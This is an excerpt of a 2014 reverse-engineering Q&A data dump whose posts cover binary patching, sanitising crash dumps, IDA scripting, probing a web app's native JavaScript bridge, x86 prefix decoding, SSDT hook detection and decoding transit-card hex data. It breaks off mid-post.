  <row Id="3872" PostTypeId="1" AcceptedAnswerId="3873" CreationDate="2014-03-14T20:19:20.423" Score="3" ViewCount="996" Body="&lt;p&gt;I created a simple Cocoa app (Mac 64bit) in Xcode, and in it I created a string object, and then outputted the contents of the string in a NSLog statement.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/98uC6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then I decided to see if I could modify the contents of the binary (exe) in the .app directory of the application.  I used 0xED to change, &lt;em&gt;This is my string.&lt;/em&gt; to &lt;em&gt;This is my new string.&lt;/em&gt;  I did this by typing the word &lt;em&gt;new&lt;/em&gt; in the right portion of the 0xED editor.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6UTQt.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, I saved the file, then tried to launch it, but it appears to crash.  The crash report appears somewhat cryptic to me, so I am not exactly sure why the app is crashing.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastEditorUserId="2886" LastEditDate="2021-02-11T19:41:11.187" LastActivityDate="2021-02-11T19:41:11.187" Title="Editing a Mach-O x86_64 binary with 0xED results in a app crash" Tags="|mach-o|patch-reversing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="3873" PostTypeId="2" ParentId="3872" CreationDate="2014-03-14T21:25:12.860" Score="3" Body="&lt;p&gt;Code before &lt;code&gt;This is my string&lt;/code&gt; relies on addresses/offsets of data (and possibly code) after &lt;code&gt;This is my string&lt;/code&gt;. When you insert the string &lt;code&gt;new&lt;/code&gt;, you're effectively shifting the code/data after &lt;code&gt;This is my string&lt;/code&gt; to the right by 4 bytes. When code before &lt;code&gt;This is my string&lt;/code&gt; tries to access that content, it access the wrong content since the location has been shifted.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-03-14T21:25:12.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3874" PostTypeId="1" CreationDate="2014-03-14T22:50:29.397" Score="6" ViewCount="1461" Body="&lt;p&gt;I want to publish a crash dump on the Internet for other people to learn from the dump. Usually I take dumps with &lt;code&gt;.dump /ma&lt;/code&gt; which is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm a bit concerned about personal data included in the dump and I'd like to remove it. The WinDbg help file specifies the &lt;code&gt;r&lt;/code&gt; and &lt;code&gt;R&lt;/code&gt; flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;R&lt;/code&gt; (this part is clear for me):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Deletes the full module paths from the minidump. Only the module names will be included. This is a useful option if you want to protect the privacy of the user's directory structure.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;r&lt;/code&gt; (I don't fully understand how that protects privacy of &lt;em&gt;other&lt;/em&gt; applications):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Deletes from the minidump those portions of the stack and store memory that are not useful for recreating the stack trace. Local variables and other data type values are deleted as well. This option does not make the minidump smaller (because these memory sections are simply zeroed), but it is useful if you want to protect the privacy of other applications. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which options should I use to re-dump to get a dump without personal information? Are there any other switches I should activate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assumptions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it's a user mode dump&lt;/li&gt;&#xA;&lt;li&gt;the application itself does not store any sensitive data, so it's basically ok to deliver full memory.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm especially interested in removing the process environment block so that &lt;code&gt;!peb&lt;/code&gt; does not show all the system information.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastEditorUserId="3355" LastEditDate="2014-03-18T22:51:59.457" LastActivityDate="2014-03-21T07:36:40.930" Title="Removing personal data from dump file" Tags="|windbg|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3875" PostTypeId="1" CreationDate="2014-03-14T23:44:37.067" Score="3" ViewCount="859" Body="&lt;p&gt;Like in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3874/removing-personal-data-from-dump-file&quot;&gt;my previous question&lt;/a&gt;, I want to make some dump files available for learning dump analysis and reverse engineering.&lt;/p&gt;&#xA;&lt;p&gt;To organize my example programs from which I create the dumps, I give them meaningful names. However, that usually means that I can type &lt;code&gt;|&lt;/code&gt; in WinDbg to find out what it demonstrates. I want to remove that workaround.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is it possible to obfuscate a dump file, i.e. rename my modules to a random name while keeping the dump itself intact? (not renaming the system modules of course)&lt;/p&gt;&#xA;&lt;p&gt;Are there already any tools which could help me accomplishing this task? Something which breaks the dump into its streams and can reassemble streams would be nice.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I am looking for&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dumps of a program which has dependencies on other modules.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I am &lt;strong&gt;not&lt;/strong&gt; looking for&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the simple single executable case. I can rename the executable before creating the dump as part of my build script.&lt;/li&gt;&#xA;&lt;li&gt;obfuscation of .NET methods. I can obfuscate the .NET code as part of my build script.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3355" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-03-22T09:07:26.350" Title="Obfuscating dump files" Tags="|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3876" PostTypeId="1" AcceptedAnswerId="3877" CreationDate="2014-03-15T09:34:50.660" Score="2" ViewCount="381" Body="&lt;p&gt;How do I list all destinations from relative jump instructions (e.g. the jmpr instruction) in IDA?&lt;/p&gt;&#xA;" OwnerUserId="4166" LastActivityDate="2014-03-15T14:53:50.893" Title="List Relative Jump Destinations in IDA" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3877" PostTypeId="2" ParentId="3876" CreationDate="2014-03-15T14:53:50.893" Score="1" Body="&lt;p&gt;With your cursor on the given instruction, press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F2&lt;/kbd&gt; to bring up the IDC window, paste the following script into the script body pane, and press the &lt;kbd&gt;Run&lt;/kbd&gt; button in the dialog window.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto x = Rfirst0(ScreenEA());&#xA;while (x != BADADDR)&#xA;{&#xA;    Message(&quot;0x%08X\n&quot;, x);&#xA;    x = Rnext0(ScreenEA(), x);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-03-15T14:53:50.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3878" PostTypeId="1" CreationDate="2014-03-15T16:06:43.467" Score="2" ViewCount="929" Body="&lt;p&gt;I have a Windows program that uses &lt;a href=&quot;http://www.awesomium.com/&quot; rel=&quot;nofollow&quot;&gt;awesomium&lt;/a&gt; to display a WebApp. This WebApp communicates in some way with the client program through some native calls. I found references to &lt;code&gt;window.externalHost&lt;/code&gt; and &lt;code&gt;window.native&lt;/code&gt; in the JS source, but it's build with &lt;a href=&quot;http://yuilibrary.com&quot; rel=&quot;nofollow&quot;&gt;YUI&lt;/a&gt; and has tens of thousand lines of code and single character variables and I can't quite figure out what exactly they are doing (static analysis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have injected Javascript into the WebApp to check those two objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    document.write(JSON.stringify(window.externalHost, null, 4))&#xA;} catch (err) {&#xA;    document.write(err)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But &lt;code&gt;window.externalHost&lt;/code&gt; is &lt;code&gt;undefined&lt;/code&gt; and &lt;code&gt;window.native&lt;/code&gt; is &lt;code&gt;{}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How are native calls usually set up? &lt;/li&gt;&#xA;&lt;li&gt;What interfaces do exist and how are they used? (Both directions)&lt;/li&gt;&#xA;&lt;li&gt;Can I &quot;detour&quot;/&quot;intercept&quot; native calls to see what they are sending?&lt;/li&gt;&#xA;&lt;li&gt;Are there any remote JS debug projects which I could inject to dynamically debug the complex WebApp?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update 1:&lt;/strong&gt; I am confident that it uses &lt;code&gt;window.native&lt;/code&gt;. Because of this Object &lt;code&gt;{}&lt;/code&gt;. It seems likely that the communication is not implemented as &lt;code&gt;window.externalHost.postMessage()&lt;/code&gt; based on what I have read on the &lt;a href=&quot;http://wiki.awesomium.com/general-use/introduction-to-javascript-integration.html&quot; rel=&quot;nofollow&quot;&gt;awesomium wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now try to capture what methods are called on it. My idea was to overwrite &lt;code&gt;window.onerror&lt;/code&gt; to capture all errors and set &lt;code&gt;window.native = undefined;&lt;/code&gt; to capture exceptions like &lt;code&gt;Cannot call aNativeCall() on undefined&lt;/code&gt;. Unfortunately it seems that &lt;code&gt;windows.native&lt;/code&gt; can't be overwritten - it doesn't stay undefined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ideas?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came up with this javascript code to check some interesting Objects like &lt;code&gt;window.external&lt;/code&gt;, etc...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = ['external', 'externalHost', 'native', 'Y', ['Y','native'],['Y','Native'], ['Y','external'], ['Y','externalHost']];&#xA;for(i=0; i&amp;lt; obj.length; ++i) {&#xA;    try {&#xA;&#xA;        if(obj[i] instanceof Array) {&#xA;            var tmp = window[obj[i][0]];&#xA;            for(j=1; j&amp;lt;obj[i].length; ++j) {&#xA;                tmp = tmp[obj[i][j]]&#xA;            }&#xA;            document.write(obj[i]+&quot; | &amp;lt;b&amp;gt;&quot;+Object.getOwnPropertyNames(tmp)+&quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&quot;);&#xA;        } else {&#xA;            document.write(obj[i]+&quot; | &amp;lt;b&amp;gt;&quot;+Object.getOwnPropertyNames(window[obj[i]])+&quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&quot;);&#xA;        }&#xA;&#xA;    } catch(err) {&#xA;        document.write(obj[i]+&quot; | &amp;lt;i&amp;gt;Error: &quot;+err+&quot;&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&quot;);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It became slowly more clear that it has to be &lt;code&gt;window.native&lt;/code&gt;. This object has the following properties: 'on','isNative','scale','Emitter','call','register','_ready'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to call &lt;code&gt;window.native.call()&lt;/code&gt; the native program crashes. And the debug information shows that it crashed in a &lt;code&gt;ProcessRequest&lt;/code&gt; function. So I found the right interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now need to find out how exactly this interface is used. Unfortunately I can't overwrite &lt;code&gt;window.native.call = function() { ... }&lt;/code&gt; to log the calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody another idea?&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2014-03-16T02:49:22.037" LastActivityDate="2014-03-16T02:49:22.037" Title="How to analyse the communication between a WebApp loaded with awesomium and the native program?" Tags="|javascript|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3879" PostTypeId="1" AcceptedAnswerId="3880" CreationDate="2014-03-15T20:21:10.273" Score="3" ViewCount="746" Body="&lt;p&gt;Olly, specifically, will only accept the last prefix it finds if there are more than one from the same group. For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lock rep add dword ptr[eax],eax    ; f0 f3 01 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;???                           ; f0                 &#xA;rep add dword ptr[eax],eax    ; f3 01 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Page 28 of the Intel architecture manual simply states &quot;it is only useful to include up to one prefix code from each of the four groups ...&quot; but no where does it say it's required to only have, at most, one from each group. Yes,  there are cases where some of the prefixes are required, must not be present, or are only valid depending on the instruction, but I'm not referring to any of those scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm choosing to interpret Intel's guidance as meaning &quot;it's valid but there aren't many reasons to do it&quot; and I'll continue to leave the prefix listed with the instruction (again, barring any specific rules that say otherwise.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the correct way to handle the situation or should I be doing something different?&lt;/p&gt;&#xA;" OwnerUserId="4169" LastActivityDate="2014-03-19T14:29:37.243" Title="What is the proper way to deal with an x86/64 instruction containing multiple prefixes from the same group?" Tags="|disassembly|x86|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3880" PostTypeId="2" ParentId="3879" CreationDate="2014-03-15T21:31:35.710" Score="8" Body="&lt;p&gt;The general rule of thumb is that every prefix is applied in sequence. &lt;strike&gt;For example, two &lt;code&gt;66&lt;/code&gt; prefixes cancel each other, and &lt;code&gt;66 66 66&lt;/code&gt; is the same as single &lt;code&gt;66&lt;/code&gt;.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: it seems I was wrong, and repeated prefixes &lt;a href=&quot;http://www.reddit.com/r/ReverseEngineering/comments/20i4l8/what_is_the_proper_way_to_deal_with_an_x8664/cg6dg0v&quot; rel=&quot;nofollow&quot;&gt;are ignored.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The situation becomes somewhat muddled for SSE instructions where some prefixes are mandatory and some are optional, and their order may matter. For example, if both F2 and F3 are used with an SSE instruction, then the last one &quot;wins&quot;, and 66 is ignored if other prefixes are present (except for a few instructions like CRC32).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;66 f3 f2 0f 59 ff     ; mulsd xmm7, xmm7&#xA;66 f2 f3 0f 59 ff     ; mulss xmm7, xmm7&#xA;66 0f 59 ff           ; mulpd xmm7, xmm7&#xA;f2 66 0f 59 ff        ; mulsd xmm7, xmm7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In general, docs don't describe the corner cases very well. So the best thing to do is to put some bytes into a file, run it on the actual CPU, and observe what happens.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2014-03-19T14:29:37.243" LastActivityDate="2014-03-19T14:29:37.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3882" PostTypeId="1" AcceptedAnswerId="3884" CreationDate="2014-03-15T23:30:27.723" Score="4" ViewCount="1209" Body="&lt;p&gt;One of the many features of Kernel Detective is the possibility to retrieve the original addresses of the native apis functions implemented in the driver win32k.sys and checking if they are hooked. What are the possible ways to achieve the same ? &lt;/p&gt;&#xA;" OwnerUserId="4170" LastEditorUserId="189" LastEditDate="2014-03-16T10:57:48.557" LastActivityDate="2014-06-09T01:44:36.043" Title="How does Kernel Detective check if API functions are hooked?" Tags="|kernel-mode|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3884" PostTypeId="2" ParentId="3882" CreationDate="2014-03-16T02:48:10.557" Score="4" Body="&lt;p&gt;For conventional inline hooks (that just replace the first few bytes of the function), you can simply read the first few bytes of each function to check if it is hooked. Deeper inline hooks will be difficult to detect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from inline hooks, someone may also hook the SSDT. The SSDT is a table that sits between syscalls from WINAPI's and the kernelmode functions that implement them. The SSDT is indexed by syscall ID and maps each ID to the address of the kernelmode function. This mapping &lt;a href=&quot;http://j00ru.vexillium.org/ntapi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;remains static&lt;/a&gt; for any given service pack for a Windows OS. So it is very easy to figure out what function each syscall ID corresponds to, and thus what function each entry in the SSDT should correspond to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To detect SSDT hooks and restore original addresses, you could try any of the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could load your program/driver once before the SSDT is hooked, and grab the original addresses. This would be fairly reliable, as long as you load your driver before the hook is in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could download the .pdb file from Microsoft's symbol store and get the original addresses from it using the DIA SDK or DbgHelp API's. This is very reliable as long as a connection is present and nothing is interfering with it. However, this would be quite slow for a .pdb as big as the one for ntoskrnl or win32k.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are actually two SSDT's, a regular SSDT and a Shadow SSDT. If only the first SSDT is hooked, you could check the values with those in the Shadow SSDT. Or vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check if any entries in the SSDT point to addresses outside the kernel/win32k. This is a very reliable way of detecting the hooks, but it won't easily get you the original address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scanning for a byte signature is a somewhat reliable and stealthy way you could locate the original addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a similar question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1461/is-there-an-easy-way-to-detect-if-the-ssdt-has-been-patched-from-a-memory-dump&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3824" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-03-16T02:48:10.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3885" PostTypeId="1" CreationDate="2014-03-16T21:55:45.720" Score="3" ViewCount="1083" Body="&lt;p&gt;I'm reading stuff from public transport cards and I've got this hex data which is an usage history. I believe that these records contain timestamp or date in some format (but I'm not sure), but I haven't found where and in what format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                                    DD.MM.YYYY HH:MM&#xA;e1 a2 00 00 ce 04 85 93 7e 00 78 17 0a 10 00 f8     26.02.2014 22:47&#xA;e1 a2 00 00 ce 04 05 b1 7e 00 68 22 0a 10 00 ce     01.03.2014 19:40&#xA;e4 a2 00 00 ce 04 e5 7b 7e 00 e4 2e 0a 10 00 e9     01.03.2014 23:36&#xA;e4 a2 00 00 4c 04 43 8c d0 07 30 00 01 00 00 72     04.03.2014 16:31&#xA;e4 a2 00 00 ce 04 65 8d 7e 00 7c 17 0a 10 00 a2     04.03.2014 18:51&#xA;ea a2 00 00 ce 04 25 63 7e 00 70 09 0a 10 00 f1     10.03.2014 13:13&#xA;ec a2 00 00 ce 04 25 63 7e 00 70 09 0a 10 00 da     12.03.2014 13:13&#xA;         |&#xA; This is always zero&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4175" LastEditorUserId="4175" LastEditDate="2014-03-16T22:49:11.533" LastActivityDate="2014-03-17T15:35:37.187" Title="Finding timestamp in hex data" Tags="|hex|smartcards|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3886" PostTypeId="1" AcceptedAnswerId="3906" CreationDate="2014-03-17T02:52:04.340" Score="2" ViewCount="1092" Body="&lt;p&gt;I have a web application written in JSP running on a tomcat 6 server that I want to RE. I've decompiled the .jars associated with the web application. The source code is heavily obfuscated, making it very time consuming to understand the execution flow. Since I'm under a time constraint reverse engineering this way isn't feasible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to force the JVM to log all method calls with parameters? &#xA;Can this be done through a profiler such as VisualVM?&lt;/p&gt;&#xA;" OwnerUserId="4182" LastEditorUserId="4182" LastEditDate="2014-03-19T16:23:48.213" LastActivityDate="2014-03-19T18:54:01.937" Title="Reverse engineering close sourced JSP applets" Tags="|debugging|dynamic-analysis|java|" AnswerCount="4" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3887" PostTypeId="2" ParentId="3886" CreationDate="2014-03-17T03:15:57.377" Score="1" Body="&lt;p&gt;There are java deobfuscating frameworks out there, varying in quality. You could potentially download the source to the JVM and instrument it yourself? See: &lt;a href=&quot;https://stackoverflow.com/questions/2026093/is-jvm-open-source-code&quot;&gt;https://stackoverflow.com/questions/2026093/is-jvm-open-source-code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3638" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-03-17T03:15:57.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3888" PostTypeId="2" ParentId="3885" CreationDate="2014-03-17T11:24:16.580" Score="1" Body="&lt;p&gt;Just some random thoughts after going over the given data:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What did you do so far to figure out the format?&lt;/li&gt;&#xA;&lt;li&gt;Where do you get the DD.MM.YYYY HH:MM formatted text from?&lt;/li&gt;&#xA;&lt;li&gt;Is the given data guaranteed to be correct? It seems the fourth row does not match with the others? More data would possible simplify the format analysis.&lt;/li&gt;&#xA;&lt;li&gt;The last byte may be a CRC.&lt;/li&gt;&#xA;&lt;li&gt;The second nibble of the first byte may be related to day for row 2, 4, 5, 6, 7. This may be false as it does not hold up for all rows. However, given the fact that the 6th and 7th row only differ at the first byte it is possibly related, assuming the last byte is a CRC.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4168" LastEditorUserId="4168" LastEditDate="2014-03-17T15:35:37.187" LastActivityDate="2014-03-17T15:35:37.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3889" PostTypeId="1" AcceptedAnswerId="3890" CreationDate="2014-03-17T16:36:44.183" Score="5" ViewCount="5516" Body="&lt;p&gt;I have a binary file (actually, an operating system for an ARM embedded device which also contains some high-level apps (hard coded in the user interface)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know some parts of the operating system are from C++ code, so it is likely the binary contains the C++ STL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't know much about the STL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you have a method to find the address of the STL functions?&#xA;(the basic method of searching for the &quot;map&quot;, &quot;vector&quot;, ... string was unsuccessful and I don't know any specific feature I could search for in this case)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some kind of signature for the STL functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional informations: I use IDA. I can run the OS with a GDB. I know the address of much of the standard C functions (ctype/stddio/...).&lt;/p&gt;&#xA;" OwnerUserId="4180" LastEditorUserId="4180" LastEditDate="2014-03-17T17:52:16.847" LastActivityDate="2014-03-17T17:52:16.847" Title="Find the C++ STL functions in a binary" Tags="|ida|binary-analysis|c++|arm|operating-systems|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3890" PostTypeId="2" ParentId="3889" CreationDate="2014-03-17T17:29:10.680" Score="7" Body="&lt;p&gt;Libraries like STL or Boost are tricky. Because they're heavily template-based and most of their code is generated at compile time, it's pretty difficult to make FLIRT-style signatures for them. Too much depends on the specific compiler, build options, optimization settings and so on, so unless you match them pretty closely when generating signatures, you're unlikely to get many good hits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you may be able to find some signs of them. For example, the typical &lt;code&gt;std::string&lt;/code&gt; implementation in some cases throws exceptions &lt;code&gt;length_error&lt;/code&gt; or &lt;code&gt;out_of_range&lt;/code&gt;. You might be able to find references to the error text or the exception names. Other than that I think there's not much you can look for besides recognizing a specific implementation from the actual code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since you mention it's an RTOS, I highly doubt it's using STL. In an OS, any non-deterministic behavior is a bad thing, and with STL you can get an exception basically at any time. They may use some limited C++ for better encapsulation but any high-level classes are likely to be custom-made and not from STL or Boost.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-03-17T17:29:10.680" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3891" PostTypeId="1" AcceptedAnswerId="3892" CreationDate="2014-03-17T19:11:51.150" Score="3" ViewCount="359" Body="&lt;p&gt;If I have an unknown file format and&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;someone can still run the program and save any number of files&lt;/li&gt;&#xA;&lt;li&gt;someone can modify all options of the program individually&lt;/li&gt;&#xA;&lt;li&gt;it is known that the file format does not use compression&lt;/li&gt;&#xA;&lt;li&gt;it is known that the file format does not use encryption&lt;/li&gt;&#xA;&lt;li&gt;it doesn't seem to have a checksum&lt;/li&gt;&#xA;&lt;li&gt;I have &quot;unlimited&quot; money to pay someone&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;is it then guaranteed that someone can reverse engineer the file format?&lt;/p&gt;&#xA;" OwnerUserId="3355" LastEditorUserId="3355" LastEditDate="2014-03-17T22:46:36.403" LastActivityDate="2014-03-17T22:46:36.403" Title="Is it guaranteed that someone can reverse engineer this file format?" Tags="|file-format|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3892" PostTypeId="2" ParentId="3891" CreationDate="2014-03-17T20:03:36.917" Score="4" Body="&lt;p&gt;If someone has access to the program that reads from or writes to files in the file format, then yes, that someone can reverse engineer the functionality in the program to understand the structure and content of the file.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have &quot;unlimited&quot; time and money to pay someone&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Perhaps I should give you my email address! ;)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-03-17T20:03:36.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3893" PostTypeId="2" ParentId="3891" CreationDate="2014-03-17T20:37:11.640" Score="1" Body="&lt;p&gt;It's guaranteed that given enough time and resources anything can be reverse engineered.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-03-17T20:37:11.640" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3894" PostTypeId="2" ParentId="3886" CreationDate="2014-03-17T20:37:24.300" Score="1" Body="&lt;p&gt;I found a nice solution using &lt;a href=&quot;http://mchr3k.github.io/org.intrace/&quot; rel=&quot;nofollow&quot;&gt;http://mchr3k.github.io/org.intrace/&lt;/a&gt;. It allows me to select which classes I would like to trace (or not trace), shows entry and returns into methods with parameters and return values. &lt;/p&gt;&#xA;" OwnerUserId="4182" LastEditorUserId="4182" LastEditDate="2014-03-19T18:54:01.937" LastActivityDate="2014-03-19T18:54:01.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3895" PostTypeId="1" AcceptedAnswerId="3896" CreationDate="2014-03-18T13:32:35.357" Score="8" ViewCount="325" Body="&lt;p&gt;I'm running a 64-bit MS Windows 7 with all updates installed. About 1 or 2 weeks ago I've noticed that whenever I restart the OS, the virtual memory pages (of whatever process), corresponding to system libraries like &lt;code&gt;ntdll.dll&lt;/code&gt; and &lt;code&gt;kernel32.dll&lt;/code&gt; are slightly different. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not talking about the base address of the loaded modules, because I know that changes due to ASLR. I'm talking about the actual contents of the loaded modules, which as far as I know was not affected by ASLR implementations on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate what I mean, let me show you the following screenshot that compares 2 binary instances of &lt;code&gt;ntdll.dll&lt;/code&gt; captured before (top-half) and after (bottom-halt) one OS restart:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xHpGR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The picture shows just a small part of &lt;code&gt;ntdll.dll&lt;/code&gt; and therefore just a few differences. However, there are more. The size of these DLLs don't change, only some bytes at particular locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I obtained the 2 binary instances which are compared in the previous picture using Process Hacker like so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Right-click a process and select &lt;strong&gt;Properties&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to the &lt;strong&gt;Memory&lt;/strong&gt; tab and scroll-down until you find several entries having the name: &lt;em&gt;ntdll.dll: Image 